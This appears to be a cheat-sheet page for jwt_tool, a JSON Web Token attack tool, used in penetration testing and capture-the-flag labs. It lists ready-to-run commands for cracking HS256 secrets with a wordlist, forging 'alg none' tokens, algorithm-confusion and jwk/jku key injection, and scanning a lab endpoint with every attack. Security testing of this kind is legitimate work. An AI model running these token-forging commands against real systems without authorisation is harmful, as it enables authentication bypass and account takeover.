jwt_tool

jwt_tool decodes, tampers with and signs tokens, and automatically tests the known attacks against the site. Combine it with the JWT decoder in our resources to inspect the token first.

Platform: Linux · Windows · macOS (Python)
Official site: github.com/ticarpi/jwt_tool

Install

git clone https://github.com/ticarpi/jwt_tool && pip3 install -r jwt_tool/requirements.txt

jwt_tool cheat sheet

Your values Saved in this browser and applied to every cheatsheet.

Target IP

7 commands

Crack the secret

Wordlist against an HS256 token

python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt

In our cheatsheets

JWT analyser › Attacks

Show the content

python3 jwt_tool.py <JWT>

Run every attack against the site

python3 jwt_tool.py -t http://10.10.11.20/api/me -rh "Authorization: Bearer <JWT>" -M at

alg none

python3 jwt_tool.py <JWT> -X a

Algorithm confusion RS256 → HS256

python3 jwt_tool.py <JWT> -X k -pk public.pem

The public key is often at /jwks.json, /.well-known/jwks.json or in the TLS certificate.

Inject your own key (jwk / jku)

python3 jwt_tool.py <JWT> -X i

Change a claim and sign with the secret

python3 jwt_tool.py <JWT> -T -S hs256 -p 'secreto'

Guides that use jwt_tool

JWT attacks: alg none, weak secrets, algorithm confusion and kid injection 4 min read How to read a JSON Web Token, crack its secret with hashcat, abuse alg none and RS256 to HS256 confusion, and inject into the kid and jku headers to sign your own tokens.